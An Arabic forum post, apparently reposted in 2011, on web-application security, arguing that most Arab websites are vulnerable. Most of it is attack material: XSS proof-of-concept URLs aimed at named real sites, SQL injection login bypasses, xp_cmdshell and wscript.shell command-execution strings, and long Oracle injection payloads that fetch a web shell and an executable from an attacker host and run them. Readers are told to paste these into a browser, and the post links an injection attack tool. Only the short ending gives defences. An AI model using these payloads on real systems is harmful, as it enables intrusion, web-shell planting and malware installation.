بتـــــاريخ : 2/26/2011 2:50:46 AM
الفــــــــئة
  • الحـــــــــــاسب
  • التعليقات المشاهدات التقييمات
    0 2764 0


    سلسلة مواضيع -أمن وحماية مواقع الويب - أخطار تهدد المواقع العربية !!!

    الناقل : elmasry | العمر :42 | الكاتب الأصلى : JAAS | المصدر : www.arabteam2000-forum.com

    كلمات مفتاحية  :

    السلام عليكم ,,,

    تغيبت فتره عن المنتدى لإنشغالي بكتابه اداة وهي عباره عن برنامج
    فلتره البيانات بين المستخدم وسيرفر الويب ,,, وبعد ان انتهيت من البحث في هذا الموضوع

    توصلت لنتيجه غايه في الخطورة ؟!! وهي
    أن أكثر من 90% من تطبيقات المواقع العربيه توجد بها ثغرات أمنيه .
    لا تعتقد اني خرفت ,,, تابع الموضوع
    -
    دائما نرى المواقع العربيه , عباره عن تطبيقات جاهزة مثل المجله والمنتديات وبرامج البحث
    وهذا الي ستر على مواقعنا من الإختراق وقلل مستوى الخطورة .
    -
    المهم انا تجاهلت هذة المواقع وقمت بالبحث في المواقع التي تحتوي على الأقل على تطبيق برمجي واحد
    مكتوب من قبل الموقع , مثل سجل الزوار والبحث و تحميل الصور وإرسال الإيميل والقائمة البريدية........
    -
    ولقيت ان أكثرمن 90% من هذة التطبيقات بها أخطاء برمجية وثغرات أمنية
    وبالتأكيد لكي أثبت كلامي مطلوب أمثلة تطبيقية ,, ونبدأ بالأكثر إنتشار.
    -
    -
    اولاً : خطأ أو ثغرة robots

    ملف robots يمكن يكون غريب علينا وأول مره نسمع عنه,,
    ولكنه معروف في المواقع العالميه وإستخدامه شغله اساسيه لأمن المواقع ,كما تلاحظ
    http://www.ibm.com/robots.txt
    http://www.securiteam.com/robots.txt
    http://www.google.com/robots.txt

    ....
    هذا الملف من إسمه robots.txt يستخدم لتوجيه مايعرف بالربوت او الرجل الآلي؟!
    او مايعرف بأخطبوط الشبكه ,, وهي عبارة عن محركات ضخمه مثل محرك جوجل ومحركات تتبع بيانات الشبكات netcraft.com
    وتقييم المواقعwebhosting.info تستخدم لفهرسه كل صفحة في الموقع ,, من خلال هذا الملف تستطيع ان تخبر هذا robots اي المجلدات يفهرس
    وأي الصفحات ممنوع ان يقترب منها ؟؟ وهنا الخطأ تجد كل محتوى المواقع العربيه بما فيها الصفحات السرية بداخل محركات البحث
    -
    بعطيك مثال ,, اغلب المواقع بها صفحات وخدمات لا يمكن الوصول لها إلى بعد التسجيل في الموقع
    شو رايك إذا قلت يمكن الدخول لها بكل بساطه من خلال محرك البحث جوجل
    في خيارات البحث المتقدم في جوجل حدد البحث في الموقع المحدد فقط
    وفي خانة البحث إطبع المسافه؟ يعني بس إضغط على مفتاح المسافه في لوحه التحكم
    وشوف نتائج البحث كل صفحات الموقع بما فيها الممنوع والمسموح دخولها
    -
    نقطه ثانيه: لكل لغه برمجه معرف خطأ او رقم الخطأ والجمله التي يظهرها السيرفر
    مثل لو حدث خطأ في سيرفر الأوراكل يظهر معرف الخطأ التالي : JBO-27122
    وبدورنا نقوم بالبحث عن اي معرف خطأ في الموقع من خلال جوجل لتظهر كود الخطأ نفسه
    -
    اما الشغله الأخطر فهي منع برامج تحميل الباكدور أو الشل كود في السيرفر
    برامج التحميل المستخدمه في الأنظمة هي الطريقة التي يستخدمها مخترقي الأنظمة لتحميل أي ملف للسيرفر
    مثلا في نظام الوندوز يستخدم البرنامج tftp وفي أنظمة اليونكس يستخدم البرانامج wget
    وبدورنا ومن خلال ملف robots نستطيع منع الوصول لأي ملف بهذه الأسماء wget,ls,tftp,dir وغيرها...
    وبهذا نكون فهمنا فائدة ملف robots ,, لمزيد من المعلومات حول هذا الملف ..
    http://www.robotstxt.org/wc/faq.html
    /
    /
    /

    ثانياً: ثغرات Cross-Site Scripting و XSS في المواقع العربية
    هذا النوع من الثغرات عبارة عن إدخال كود html وتنفيذة من خلال المتصفح
    دائما ترى في المنتديات وغيرها برنامج لتعطيل أكواد html هذا البرنامج ينقص اغلب تطبيقات الويب العربيه

    تعمل لغه html على تنفيذ اي امر بين القوسين <...> ولذلك يعتر القوس < بلوك الكود التنفيذي
    بعطيك مثال ,, الكود التالي عبارة عن شفرة تنفيذية لصفحة html
    <script>alert('Msg');</script>
    نفس الكود السابق يكتب بهذا الشكل ليتحول من كود تنفيذي إلى بيانات فقط
    &lt;script&gt;alert('Msg');&lt;/script&gt;

    جرب إفتح كود اي صفحة html وأكتب اول جمله ,, وبعد ذلك جرب الجمله الثانيه لترى الفرق
    المهم هذا التحويل من الصيغه الأولى إلى الصيغه الثانيه ,, يعرف بتعطيل أكواد html
    وهذه الطريقه غير موجودة في أضخم المواقع العربيه ,,, وبذلك تكون ثغرات Cross-Site Scripting
    يمكن إستغلالها لسرقه حساب المدير عن طريق الكوكيز.... وهذة امثله على هذا النوع من الثغرات في المواقع العربيه
    ملاحظة : إنسخ العنوان والصقة في المتصفح وبعد ذلك قم بالتنفيذ ,, لكي تعمل الثغرة بشكل صحيح

    http://search.ayna.com/cgi-bin/search.cgi?q=</TITLE><script>alert('JAAS~~~Hack');</script>
    ---------------
    http://directory.naseej.com/servlet/Directory?interfacelang=1&defaulttype=0&type=2&sitelang=2&service=arabsite&submit=++&words=%3Cscript%3Ealert('jaas~~~hack');%3C/script>
    ------------------
    http://www.arab1000.com/cgi-bin2/rank/search.cgi?key=<script>alert('JAAS~~~attack');</script>

    وتوجد الكثير في من الثغرات في بقية المواقع...........
    /
    /
    /
    ثالثاً : ثغرات قواعد البيانات ( Sql Injection ) في المواقع العربيه

    ثغرات Sql Injection او حقن لغات الإستعلام ,, بكل بساطه هي الإضافة إلى كود الإستعلام الأصلي لقواعد البيانات

    مثال: لكي تقوم بتسجيل الدخول في الموقع فإنك ومن خلال صفحة التسجيل تكتب اسم المستخدم مثل jaas
    وكلمه المرور 123456
    وبعد ان تقوم بالضغط على زر الإرسال يقوم المتصفح بإرسال الطلب التالي:
    http://www.xxx.com/t...password=123456

    الموقع
    http://www.xxx.com
    صفحة التسجيل test.asp
    الطلبات الواجب الإستفسار عنها في قواعد البيانات وهي
    إسم المستخدم user=jaas
    كلمه المرور password=123456

    الآن في الكود الداخلي للموقع يتم طلب الإستعلام أو أمر SQL بهذة الطريقة

    اولاً قرائة الطلبات من المتصفح
    var username= Request.form("user");
    var password = Request.form("password");

    وبعد ذلك تنفيذ الإستعلام
    Select * from Users where USR ='" + username + "' and  PSW='" +password +'";

    لاحظ معي هذة النقطة المهمة وهي شكل تنفيذ البيانات في الذاكرة
    عندما نقوم بطلب الأمر
    http://www.xxx.com/t...password=123456
    فإن الإستفسار SQL ينفذ بالشكل التالي
    Select * from Users where USR ='jaas' and  PSW='123456';

    //
    أكيد لاحظت الثغرة ؟؟؟ يمكن الإضافه إلى أمر SQL من خلال الطلب
    http://www.xxx.com/t...password=123456

    لنفرض ان كلمة المرور =545fdfsfdf6 وإسم المستخدم jaas
    يمكن ان ندخل إلى الصفحه بإسم jaas دون ان نعلم كلمه المرور وذلك بإستخدام ثغرة Sql Injection
    بهذا الشكل
    http://www.xxx.com/t...password=123456 ' OR 1=1;--
    فيصبح طلب sql بهذا الشكل
    Select * from Users where USR ='jaas' and  PSW='123456' OR 1=1;--';


    وبذلك نكون غيرنا الشرط الذي كان يقارن تطابق إسم المستخدم مع كلمه المرور
    وقد قمنا بإضافه شرط جديد وهو or 1=1 بمعنى يتحقق الشرط إذا كان 1=1 وبالتأكيد فإن الرقمين متساويين وبذلك سيتم الدخول للصفحة بنجاح
    -
    وبذلك نكون قد عرفنا خطورة ثغرات sql
    وللفائدة توجد إستخدامات أخطر لثغرة sql وهي تنفيذ امر cmd
    في نظام وندوز يمكن إستخدام المكتبه xp_cmdshell
    هذة المكتبه تأتي مع خادم sql النسخة الكامله الداعم للغه c,c++
    وطريقة الإستخدام لتنفيذ امر dir في الدوس بهذا الشكل
    exec master..xp_cmdshell 'dir'

    وبذلك يكون التطبيق في الثغرة التي وجدناها بهذا الشكل
    http://www.xxx.com/test.asp?user=jaas&password=123456 ';exec master..xp_cmdshell 'dir'; --

    /
    /
    الطريقة الثانيه إذا لم يكن السيرفر يدعم المكتبه xp_cmdshell
    فإننا نقوم بإستخدام مترجم السكربتات wscript.shell
    وهذا مثال لتشغيل الدوس
    http://www.xxx.com/test.asp?user=jaas&password=123456'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe';--

    -
    وبعد ما فهمنا الإستغلال بشكل تفصيلي ,, خلونا نأخذ أداة أو برنامج يسهل علينا الشغلة كثير
    الأداة SQL INJ Commander تستخدم وتنفذ كل اوامر وثغرات SQL بكبسه زر
    Posted Image
    -
    لتحميل الأداة
    http://www.xfocus.ne...412/sqlcomm.rar
    الموقع:
    http://666w.com


    //////////////////////////////////
    أكيد لاحظتوا ان كل الأمثلة على وندوز ,,, والسبب بكل بساطة لكي تستطيع التجربه في جهازك
    الآن ثغرات sql في أنظمة اليونكس وسيرفرات الجافا

    بالنسبة لمعالجة الطلب فإن الطريقة متشابهة في كل الأنظمة لأن لغة sql القياسية تجدها في كل السيرفرات
    المهم هذا المثال بإستخدام الجافا
    اولا الطلب
    http://www.xxx.com/t...password=123456
    يتم معلاجته كاتالي:
    String username = request.getParameter("user");
    String password = request.getParameter("password");

    String SQLQuery = "SELECT Username FROM Users WHERE USR= "+ username + "' AND PSW = '" + password + "'";

    //
    تلاحظ ان كل الطرق متشابهة في يونكس ونظام وندوز,, ولكن الإختلاف يظهر في الأوامر
    لاحظ ,, سنقوم بتحميل صفحة phpShell أو jspShell وهي عبارة عن صفحة المدير التي يستطيع من خلالها مديرالموقع
    التعديل وحذف ورفع الملفات إلى السيرفر
    -
    سنقوم بإستخدام الأمر wget في نظام يونكس لجلب ملف shell بإسم Shell.jsp من جهازي إلى سيرفر الويب المستهدف
    لنفرض أن ip جهازي 222.0.0.1 والسيرفر المستهدف www.xx.com
    وبذلك سيكون الأمر المنفذ في السيرفر المستهدف بهذة الطريقة
    wget 222.0.0.1/Shell.jsp

    الآن يجب ان بحث عن طريقة للوصول لبرنامج نقل الملفات wget
    أكثر طريقة مستخدمة هي عن طريق الجافا ؟؟ لأن أغلب أنظمة اليونكس تدعم الجافا
    وبذلك نقوم بإستخدام الجافا لتشغيل wget تمرير ملف shell له وتكون الطريقة بهذا الشكل
    Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");

    هل تعلم كيف سيكون شكل الطلب :) أنصحك ان لا تستغرب من شكل الطلب
    لأن هنالك طرق لإرسال ملفات تنفيذي كامل عن طريق متصفح الإنترنت
    http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2  authid current_user as pragma autonomous_transaction;SqlCommand VARCHAR2(2048);
    BEGIN SqlCommand := '
    CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
    import java.lang.*;
    import java.io.*;
    public class ExecuteOS{public static void execOSCmd () throws IOException, java.lang.InterruptedException{Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");}';execute immediate SqlCommand;
     SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)AS LANGUAGE JAVANAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
     execute immediate SqlCommand;
    execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';commit; return END;
    EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
    SET SERVEROUTPUT ON
    CALL dbms_java.set_output(1999);
    EXEC sys.proc_executeos (); --

    -
    المهم تقوم بنسخ الكود السابق ولصقة في متصفح الإنترنت,,
    إذا لم تدخل الفكرة ولم تستوعبها
    إليك مثال في نظام وندوز
    -
    هذا طلب بإستخدام إستعلامات الأوراكل
    سنقوم بتحميل ملف تنفيذي من الموقع
    http://hackersite/hack.exe
    وسنقوم بكتابتة في السيرفر وهو عبارة عن النظام وندوز وبالتحديد في المسار c:\hack.exe
    وبعد ذلك سنقوم بتشغيل الملف التنفيذي hack.exe
    كالعادة الموقع الضحية
    http://www.xxx.com
    لاحظ شكل الطلب:
    http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2
    authid current_user as
      pragma autonomous_transaction;
      SqlCommand VARCHAR2(2048);
    BEGIN
      SqlCommand := '
    CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS
    import java.lang.*;
    import java.io.*;
    public class FileUpload {
      public static void fileUpload(String myFile, String url) throws Exception
      {
        File binaryFile = new File(myFile);
        FileOutputStream outStream = new  FileOutputStream(binaryFile);
        java.net.URL u = new java.net.URL(url);
        java.net.URLConnection uc = u.openConnection();
        InputStream is = (InputStream)uc.getInputStream();
        BufferedReader in = new BufferedReader (new InputStreamReader (is));
        byte buffer[] = new byte[1024];
        int length = -1;
        while ((length = is.read(buffer)) != -1) {
          outStream.write(buffer, 0, length);
          outStream.flush(); }
        is.close(); outStream.close();
      } };';
      execute immediate SqlCommand;
      SqlCommand := '
    CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)
    AS LANGUAGE JAVA
    NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';
      execute immediate SqlCommand;
      execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';
      commit;
      return '';
    END;
    SET SERVEROUTPUT ON
    CALL dbms_java.set_output(1999);
    EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
    EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); --

    -
    وبالتأكيد ينسخ كامل الكود إلى address bar في متصفح الإنترنت ويتم تنفيذ الطلب للسيرفر ليتم إختراقة
    ///////////////////////////////////////

    وبعد هذة المقدمة التي اعتقد انها ستكون أشياء غريبه يصعب تصديقها من قبل مبرمجي المواقع ...
    بقي سؤال يطرح نفسه ,,, وهو الحل ؟ او الحلول المتبعة لحل هذة الأخطاء
    /
    النقطة المحورية لحل كل هذة الثغرات بسيطة وهي التشييك أو فحص كل بارمتر أو طلب ممرر من متصفح الإنترنت إلى السيرفر
    أول شغلة هي الفحص البرمجي بداخل نفس التطبيق قبل أن يتم معالجة الطلب
    ثاني شغلة وهي إستخدام اي طريقة لفتلرة الطلبات
    1- إما عن طريق تطبيق داخلي للسيرفر مثل ISAPI لسيرفرات الوندوز , أو عن طريق NSAPI لسيرفرات اليونكس
    2- او عن طريق Web Firewall وأشهرها NetContinuuum Web Firewall
    //////////////////////

    وبعد أن تقوم بالتشييك البرمجي على المدخلات و بعد أن تقوم بعملية الفلترة للبيانات
    تقوم بعملية الإختبار ,,, ومن أفضل أدوات الإختبار وأشملها الأداة xscan
    Posted Image

    للتحميل :
    http://www.xfocus.or...can-v3.3-en.rar
    ////////////

    وبهذا نكون ناقشنا كل خطوات تأمين المواقع بشكل إحترافي ,,,,
    وبالتوفيق ,,,

    كلمات مفتاحية  :

    تعليقات الزوار ()